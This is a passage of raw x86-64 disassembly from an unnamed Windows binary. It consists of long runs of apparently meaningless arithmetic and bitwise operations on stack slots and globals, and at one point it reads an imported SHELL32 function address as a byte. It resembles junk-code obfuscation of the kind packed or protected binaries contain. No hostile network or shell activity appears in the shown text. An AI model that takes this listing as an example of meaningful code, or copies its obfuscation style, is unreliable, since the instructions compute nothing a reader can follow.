lea rax, [rsp + 0x1938]
mov qword [rsp + 0xecb8], rax
mov rax, qword [rsp + 0xe198]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd6d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2e8], rax
mov rax, qword [rsp + 0xdba0]
mov eax, dword [rax]
mov dword [rsp + 0x6f68], eax
mov rax, qword [rsp + 0xc4b8]
mov rcx, qword [rsp + 0xd220]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6dfc], eax
mov rax, qword [rsp + 0xca80]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xdac8], rax
movsx eax, byte [rsp + 0x12e]
mov rcx, qword [rsp + 0xe2d0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x1402c7537], al
movzx eax, word [rsp + 0x18d4]
mov word [rsp + 0x1b88], ax
movzx eax, byte [0x1402c74a4]
movzx ecx, byte [rsp + 0x1af]
sar eax, cl
mov rcx, qword [rsp + 0xc368]
mov byte [rcx], al
lea rax, [rsp + 0x53]
mov qword [rsp + 0xecc0], rax
movsx eax, word [rsp + 0x17f8]
mov rcx, qword [rsp + 0xcae0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc600]
mov word [rcx], ax
mov rax, qword [rsp + 0xd310]
mov rcx, qword [rsp + 0xc8d0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe308]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov qword [rsp + 0xecc8], rax
mov eax, dword [0x1402c90a0]
mov ecx, dword [rsp + 0x6f14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a00], eax
lea rax, [rsp + 0x6e00]
mov qword [rsp + 0xecd0], rax
movzx eax, word [rsp + 0x1adc]
movzx ecx, word [rsp + 0x1790]
add eax, ecx
mov word [rsp + 0x18b4], ax
movsx eax, word [rsp + 0x1b08]
movsx ecx, word [0x1402c9228]
sub eax, ecx
mov rcx, qword [0x1402c9258]
mov word [rcx], ax
mov rax, qword [rsp + 0xc6d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x97]
sub eax, ecx
mov rcx, qword [rsp + 0xe788]
mov byte [rcx], al
mov rax, qword [rsp + 0xc708]
movzx eax, byte [rax]
mov byte [rsp + 0x1f2], al
mov rax, qword [rsp + 0xe688]
movzx eax, word [rax]
mov rcx, qword [0x1402c94e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xce60]
mov word [rcx], ax
mov eax, dword [rsp + 0x6b90]
mov dword [rsp + 0x6f6c], eax
mov rax, qword [rsp + 0xeb20]
mov rcx, qword [rsp + 0xea80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd168], rax
lea rax, [rsp + 0x6c7c]
mov qword [rsp + 0xecd8], rax
mov rax, qword [rsp + 0xc5e8]
mov rcx, qword [rsp + 0xd730]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe7f8], rax
mov rax, qword [rsp + 0xdee8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x16f]
and eax, ecx
mov byte [rsp + 0xaf], al
movsx eax, word [rsp + 0x1948]
movsx ecx, word [rsp + 0x19ec]
xor eax, ecx
mov word [0x1402c75e4], ax
movzx eax, byte [rsp + 0x97]
mov byte [rsp + 0x1f3], al
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0xddf8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1b8], al
lea rax, [rsp + 0x1600]
mov qword [rsp + 0xece0], rax
mov rax, qword [rsp + 0xbe28]
movzx ecx, al
mov rax, qword [rsp + 0xe638]
shl rax, cl
mov qword [rsp + 0xe1d8], rax
mov eax, dword [rsp + 0x6f00]
mov rcx, qword [rsp + 0xe3c0]
mov qword [rsp + 0xece8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xece8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xc338]
mov dword [rcx], eax
mov rax, qword [0x1402c7490]
mov qword [rsp + 0xecf0], rax
mov rax, qword [rsp + 0xc290]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ec8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b24], eax
lea rax, [rsp + 0x183c]
mov qword [rsp + 0xecf8], rax
movsx eax, word [rsp + 0x1590]
movsx ecx, word [rsp + 0x18b0]
add eax, ecx
mov rcx, qword [0x1402c9268]
mov word [rcx], ax
movzx eax, byte [rsp + 0x146]
movzx ecx, byte [rsp + 0x103]
and eax, ecx
mov rcx, qword [rsp + 0xd988]
mov byte [rcx], al
movzx eax, word [rsp + 0x1a34]
movzx ecx, word [rsp + 0x1924]
imul eax, ecx
mov word [rsp + 0x152c], ax
mov rax, qword [rsp + 0xc458]
movzx eax, byte [rax]
mov byte [rsp + 0x1f4], al
mov rax, qword [rsp + 0xec60]
mov rcx, qword [rsp + 0xdc40]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xdea0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcd90]
mov rax, qword [rax]
mov qword [rsp + 0xed00], rax
mov eax, dword [rsp + 0x6e64]
mov ecx, dword [0x1402c7498]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a1c], eax
mov eax, dword [rsp + 0x6a90]
mov ecx, dword [rsp + 0x6bd8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c60], eax
lea rax, [rsp + 0x127]
mov qword [rsp + 0xed08], rax
mov rax, qword [rsp + 0xd5c0]
movzx eax, word [rax]
mov word [0x1402c9708], ax
movsx eax, byte [rsp + 0xae]
movsx ecx, byte [rsp + 0x5e]
add eax, ecx
mov rcx, qword [rsp + 0xd288]
mov byte [rcx], al
movzx eax, word [rsp + 0x1680]
mov word [rsp + 0x1b8c], ax
movzx eax, byte [rsp + 0x12b]
movzx ecx, byte [0x1402c74ca]
sub eax, ecx
mov byte [rsp + 0x120], al
lea rax, [rsp + 0x1740]
mov qword [rsp + 0xed10], rax
mov rax, qword [rsp + 0xdac0]
mov rcx, qword [rsp + 0xd300]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcda0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbf58]
mov rcx, qword [rsp + 0xe768]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xe128]
mov qword [rcx], rax
lea rax, [rsp + 0x6f10]
mov qword [rsp + 0xed18], rax
mov rax, qword [rsp + 0xe6e0]
mov rcx, qword [rsp + 0xd750]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc7b8], rax
mov rax, qword [0x1402c9150]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19f0]
or eax, ecx
mov word [0x1402c75e8], ax
movzx eax, byte [rsp + 0xde]
mov byte [rsp + 0x1f5], al
mov rax, qword [rsp + 0xc000]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc618]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x160], al
movzx eax, word [rsp + 0x1878]
movzx ecx, word [rsp + 0x182c]
sar eax, cl
mov rcx, qword [rsp + 0xcc50]
mov word [rcx], ax
mov rax, qword [rsp + 0xc458]
movzx eax, byte [rax]
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0xbf10]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xeac0]
shl rax, cl
mov qword [rsp + 0xcc48], rax
mov eax, dword [rsp + 0x6a34]
mov dword [rsp + 0x6f70], eax
mov rax, qword [rsp + 0xd930]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdb00]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd788], rax
mov rax, qword [rsp + 0xe8d8]
mov rcx, qword [rsp + 0xd4c0]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6a58], eax
movzx eax, byte [rsp + 0xa4]
movzx ecx, byte [rsp + 0x1aa]
add eax, ecx
mov rcx, qword [0x1402c9230]
mov byte [rcx], al
mov rax, qword [rsp + 0xd5c0]
movzx eax, word [rax]
mov word [rsp + 0x1b90], ax
movsx eax, byte [rsp + 0x11e]
mov rcx, qword [rsp + 0xd258]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0xca38]
movzx eax, byte [rax]
mov byte [rsp + 0x1f7], al
movzx eax, word [rsp + 0x179c]
mov rcx, qword [rsp + 0xe438]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1ae4], ax
mov rax, qword [rsp + 0xd1e8]
mov eax, dword [rax]
mov dword [rsp + 0x6f74], eax
mov rax, qword [rsp + 0xc5a8]
mov ecx, dword [rsp + 0x6da8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6d44], eax
mov rax, qword [rsp + 0xe718]
mov rcx, qword [rsp + 0xc780]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc7b8], rax
lea rax, [rsp + 0xc240]
mov qword [rsp + 0xed20], rax
mov rax, qword [0x1402c9690]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x64]
sub eax, ecx
mov byte [0x1402c74a4], al
mov rax, qword [rsp + 0xd648]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd0]
sub eax, ecx
mov byte [rsp + 0x95], al
movzx eax, word [rsp + 0x1ac8]
mov word [rsp + 0x1b94], ax
mov rax, qword [rsp + 0xe0e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbaf0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xe560]
mov word [rcx], ax
mov rax, qword [rsp + 0xc260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1690]
add eax, ecx
mov word [rsp + 0x1998], ax
mov rax, qword [rsp + 0xbab0]
mov eax, dword [rax]
mov dword [rsp + 0x6f78], eax
mov rax, qword [rsp + 0xea60]
mov ecx, dword [rsp + 0x6aa4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xbdd8]
mov dword [rcx], eax
lea rax, [rsp + 0xd8a8]
mov qword [rsp + 0xed28], rax
mov rax, qword [rsp + 0xdd98]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xde38]
shr rax, cl
mov qword [rsp + 0xc9f8], rax
mov rax, qword [rsp + 0xbcb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x164c]
or eax, ecx
mov word [0x1402c75ec], ax
movsx eax, byte [rsp + 0x5f]
movsx ecx, byte [rsp + 0x67]
shl eax, cl
mov rcx, qword [rsp + 0xc6d8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1b08]
mov word [rsp + 0x1b98], ax
movzx eax, byte [rsp + 0x64]
movzx ecx, byte [rsp + 0xe2]
and eax, ecx
mov byte [rsp + 0xa5], al
movzx eax, byte [rsp + 0x122]
mov byte [rsp + 0x1f8], al
mov rax, qword [rsp + 0xd520]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69fc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc138]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdbd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe838]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe9c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe458]
mov qword [rsp + 0xed30], rax
mov eax, dword [rsp + 0x69ac]
mov ecx, dword [rsp + 0x6c54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd8], eax
lea rax, [rsp + 0x17ec]
mov qword [0x1402c9710], rax
lea rax, [rsp + 0x17a0]
mov qword [rsp + 0xed38], rax
mov rax, qword [rsp + 0xc590]
movzx eax, byte [rax]
movzx ecx, byte [reloc.SHELL32.dll_ILGetNext]
sub eax, ecx
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0xbd90]
movzx eax, word [rax]
mov word [rsp + 0x1b9c], ax
mov rax, qword [rsp + 0xd180]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe5d0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xea], al
mov rax, qword [0x1402c7490]
mov rcx, qword [rsp + 0xbdf0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe08]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6a48]
mov dword [rsp + 0x6f7c], eax
mov rax, qword [rsp + 0xc498]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e9c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8a0]
mov dword [rcx], eax
lea rax, [rsp + 0xc120]
mov qword [rsp + 0xed40], rax
mov rax, qword [rsp + 0xbd70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x13d]
add eax, ecx
mov rcx, qword [0x1402c96c8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd590]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xce78]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1640], ax
mov rax, qword [0x1402c9448]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbb78]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xdf98]
mov byte [rcx], al
movzx eax, byte [rsp + 0x13e]
mov byte [rsp + 0x1f9], al
movsx eax, word [rsp + 0x1b68]
movsx ecx, word [rsp + 0x1794]
shl eax, cl
mov rcx, qword [rsp + 0xe980]
mov word [rcx], ax
lea rax, [rsp + 0xdb48]
mov qword [rsp + 0xed48], rax
mov rax, qword [rsp + 0xdb28]
mov rcx, qword [rsp + 0xec20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xdcc8], rax
mov rax, qword [rsp + 0xdca0]
mov rcx, qword [rsp + 0xe770]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6b50], eax
lea rax, [0x1402c7498]
mov qword [rsp + 0xed50], rax
movzx eax, word [rsp + 0x19ec]
mov word [0x1402c9718], ax
mov rax, qword [rsp + 0xd378]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa6]
and eax, ecx
mov byte [rsp + 0x16a], al
lea rax, [rsp + 0x166c]
mov qword [rsp + 0xed58], rax
mov rax, qword [rsp + 0xbea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
add eax, ecx
mov rcx, qword [rsp + 0xbc70]
mov byte [rcx], al
mov rax, qword [rsp + 0xc208]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcc30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16e8], ax
mov rax, qword [rsp + 0xcd50]
mov eax, dword [rax]
mov dword [rsp + 0x6f80], eax
mov eax, dword [rsp + 0x6ba0]
mov ecx, dword [rsp + 0x6bf8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe990]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd888]
mov qword [rsp + 0xed60], rax
mov rax, qword [rsp + 0xe718]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcee0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc360], rax
mov rax, qword [rsp + 0xd450]
movzx eax, byte [rax]
mov byte [rsp + 0x1fa], al
movsx eax, word [rsp + 0x1a70]
mov rcx, qword [rsp + 0xed10]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1402c90c0], ax
mov rax, qword [rsp + 0xbb80]
movsx eax, byte [rax]
mov rcx, qword [0x1402c92c8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0xd5a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x187c]
sub eax, ecx
mov word [rsp + 0x1890], ax
mov rax, qword [rsp + 0xec10]
movzx eax, byte [rax]
mov byte [rsp + 0x1fb], al
mov rax, qword [rsp + 0xd1e8]
mov ecx, dword [rsp + 0x6c64]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xe9b8]
mov dword [rcx], eax
lea rax, [rsp + 0xc170]
mov qword [rsp + 0xed68], rax
mov rax, qword [rsp + 0xc9b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c1c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe490]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe5c0]
mov rcx, qword [rsp + 0xd7e0]
mov qword [rsp + 0xed70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xed70]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xe3f8], rax
lea rax, [rsp + 0x142]
mov qword [rsp + 0xed78], rax
movzx eax, word [rsp + 0x17a0]
mov rcx, qword [rsp + 0xc098]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1402c9450], ax
movsx eax, word [0x1402c758c]
mov rcx, qword [rsp + 0xe3e8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xe7d0]
mov word [rcx], ax
lea rax, [rsp + 0x1cc]
mov qword [rsp + 0xed80], rax
movsx eax, byte [rsp + 0x7f]
mov rcx, qword [rsp + 0xd9c8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbe70]
mov byte [rcx], al
mov rax, qword [rsp + 0xdef0]
mov eax, dword [rax]
mov ecx, dword [0x1402c90a0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe590]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6b2c]
mov dword [rsp + 0x6f84], eax
mov rax, qword [rsp + 0xed40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd8a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda00], rax
lea rax, [0x1402c7490]
mov qword [rsp + 0xed88], rax
movzx eax, byte [rsp + 0xfd]
mov rcx, qword [rsp + 0xd398]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xdaf8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1a7c]
mov rcx, qword [rsp + 0xbbc0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c75f0], ax
lea rax, [rsp + 0x1900]
mov qword [rsp + 0xed90], rax
movsx eax, word [rsp + 0x1814]
movsx ecx, word [rsp + 0x17f4]
sub eax, ecx
mov rcx, qword [rsp + 0xe940]
mov word [rcx], ax
movsx eax, byte [rsp + 0x19b]
mov rcx, qword [0x1402c9650]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13c], al
lea rax, [rsp + 0x6d10]
mov qword [rsp + 0xed98], rax
mov rax, qword [rsp + 0xceb0]
mov rcx, qword [rsp + 0xde88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xe150]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6bf0]
mov dword [rsp + 0x6f88], eax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xc568]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbcb0], rax
mov rax, qword [rsp + 0xd7e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7a]
add eax, ecx
mov byte [rsp + 0x1b5], al
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0xe1e8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x1402c90b3], al
lea rax, [rsp + 0x193c]
mov qword [rsp + 0xeda0], rax
mov rax, qword [rsp + 0xdae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19a0]
sar eax, cl
mov rcx, qword [rsp + 0xdfc0]
mov word [rcx], ax
movzx eax, word [0x1402c7528]
mov word [rsp + 0x1ba0], ax
movzx eax, word [rsp + 0x1768]
mov rcx, qword [rsp + 0xddb0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1b50], ax
mov rax, qword [rsp + 0xcf68]
mov rcx, qword [rsp + 0xc948]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe640]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd930]
mov rax, qword [rax]
mov qword [rsp + 0xeda8], rax
mov rax, qword [rsp + 0xe598]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ee8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xec98]
mov dword [rcx], eax
lea rax, [rsp + 0x6c00]
mov qword [rsp + 0xedb0], rax
movsx eax, byte [rsp + 0x1d6]
mov rcx, qword [0x1402c94a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c753a], al
movsx eax, word [rsp + 0x1688]
movsx ecx, word [rsp + 0x17dc]
and eax, ecx
mov word [rsp + 0x1740], ax
movzx eax, byte [rsp + 0x118]
movzx ecx, byte [rsp + 0x1ae]
sub eax, ecx
mov rcx, qword [rsp + 0xd4a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xbcb8]
movzx eax, word [rax]
mov word [rsp + 0x1ba4], ax
mov rax, qword [rsp + 0xc918]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xec10]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdd], al
lea rax, [rsp + 0x6ec0]
mov qword [rsp + 0xedb8], rax
mov rax, qword [rsp + 0xd3f8]
mov rcx, qword [rsp + 0xc6b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6aa8], eax
mov rax, qword [rsp + 0xe838]
mov qword [rsp + 0xedc0], rax
mov rax, qword [rsp + 0xdfa0]
mov rcx, qword [rsp + 0xc008]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xdfa0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x16e8]
mov word [0x1402c971c], ax
mov rax, qword [rsp + 0xe6a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe488]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x182c], ax
movzx eax, word [rsp + 0x1b30]
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xd6f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdb10]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc238]
mov byte [rcx], al
movzx eax, byte [rsp + 0xca]
mov byte [rsp + 0x1fc], al
mov rax, qword [rsp + 0xe718]
mov rcx, qword [rsp + 0xc2c8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xeca8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcf08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a40]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcd50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xddb8]
mov eax, dword [rax]
mov dword [rsp + 0x6f8c], eax
mov rax, qword [rsp + 0xc1f0]
mov rcx, qword [rsp + 0xcd40]
mov qword [rsp + 0xedc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xedc8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xbc50], rax
mov rax, qword [rsp + 0xda18]
movzx eax, byte [rax]
mov rcx, qword [0x1402c92f8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1402c90b4], al
mov rax, qword [rsp + 0xde40]
movzx eax, word [rax]
mov word [rsp + 0x1bac], ax
movsx eax, byte [rsp + 0x1f4]
movsx ecx, byte [rsp + 0x14b]
shl eax, cl
mov byte [rsp + 0x11e], al
movsx eax, byte [0x1402c74ae]
mov rcx, qword [rsp + 0xcf48]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc1c0]
mov byte [rcx], al
lea rax, [rsp + 0x16b4]
mov qword [rsp + 0xedd0], rax
mov rax, qword [rsp + 0xcd30]
mov rcx, qword [rsp + 0xc628]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6be0], eax
mov rax, qword [rsp + 0xdcf0]
mov rax, qword [rax]
mov qword [rsp + 0xedd8], rax
mov rax, qword [rsp + 0xda38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xeab0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd7b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xca10]
mov eax, dword [rax]
mov dword [rsp + 0x6f90], eax
mov rax, qword [rsp + 0xe420]
movzx eax, word [rax]
imul eax, eax, 0x74
mov rcx, qword [0x1402c9188]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1f7]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x11a], al
movsx eax, byte [rsp + 0x89]
mov rcx, qword [rsp + 0xc910]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd7a8]
mov byte [rcx], al
mov rax, qword [0x1402c95d8]
movzx eax, word [rax]
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xccb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc5]
add eax, ecx
mov byte [rsp + 0x16c], al
mov rax, qword [rsp + 0xeaa0]
mov qword [rsp + 0xede0], rax
mov rax, qword [rsp + 0xebe8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbfc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd6d8], rax
mov rax, qword [rsp + 0xe988]
mov ecx, dword [rsp + 0x6aa0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6bbc], eax
lea rax, [rsp + 0x6c5c]
mov qword [rsp + 0xede8], rax
movsx eax, word [rsp + 0x1b68]
movsx ecx, word [rsp + 0x1710]
add eax, ecx
mov word [0x1402c75f4], ax
movzx eax, byte [rsp + 0x120]
movzx ecx, byte [rsp + 0xd5]
sub eax, ecx
mov rcx, qword [rsp + 0xcaa0]
mov byte [rcx], al
lea rax, [rsp + 0x1754]
mov qword [rsp + 0xedf0], rax
mov rax, qword [rsp + 0xed38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xce60]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1738], ax
movzx eax, byte [rsp + 0xad]
mov rcx, qword [rsp + 0xda18]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbcf0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd150]
mov rax, qword [rax]
mov qword [rsp + 0xedf8], rax
mov eax, dword [rsp + 0x6f24]
mov ecx, dword [0x1402c90a0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe758]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6e58]
mov dword [rsp + 0x6f94], eax
mov rax, qword [rsp + 0xc5a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe248]
shl rax, cl
mov qword [rsp + 0xdde8], rax
mov rax, qword [rsp + 0xe680]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b64]
xor eax, ecx
mov word [0x1402c9370], ax
mov rax, qword [rsp + 0xcfa0]
movzx eax, word [rax]
cdq
mov ecx, 0x35c
idiv ecx
mov word [rsp + 0x1798], ax
lea rax, [rsp + 0x87]
mov qword [rsp + 0xee00], rax
movsx eax, word [rsp + 0x1638]
mov rcx, qword [rsp + 0xd690]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc140]
mov word [rcx], ax
movzx eax, byte [rsp + 0x16d]
mov byte [rsp + 0x1fd], al
mov rax, qword [rsp + 0xcef8]
mov rcx, qword [rsp + 0xd8d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6b14], eax
lea rax, [rsp + 0xc1f0]
mov qword [rsp + 0xee08], rax
mov rax, qword [rsp + 0xe7a0]
mov rcx, qword [rsp + 0xce10]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbfd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc960]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6cdc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe8d8]
mov dword [rcx], eax
lea rax, [rsp + 0x18b4]
mov qword [0x1402c9720], rax
lea rax, [rsp + 0x1758]
mov qword [rsp + 0xee10], rax
mov rax, qword [rsp + 0xe478]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc8f8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1e0], al
mov rax, qword [rsp + 0xe7b0]
movzx eax, byte [rax]
mov byte [rsp + 0x1fe], al
mov rax, qword [rsp + 0xde28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe3c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6a], al
mov rax, qword [rsp + 0xe5e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a9c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bf0], eax
mov rax, qword [rsp + 0xbe88]
mov qword [rsp + 0xee18], rax
mov eax, dword [rsp + 0x6d1c]
mov ecx, dword [rsp + 0x6a68]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcba0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbdf0]
mov qword [rsp + 0xee20], rax
movzx eax, word [rsp + 0x1ae4]
mov rcx, qword [rsp + 0xbfd0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc108]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1a9]
mov rcx, qword [rsp + 0xbd28]
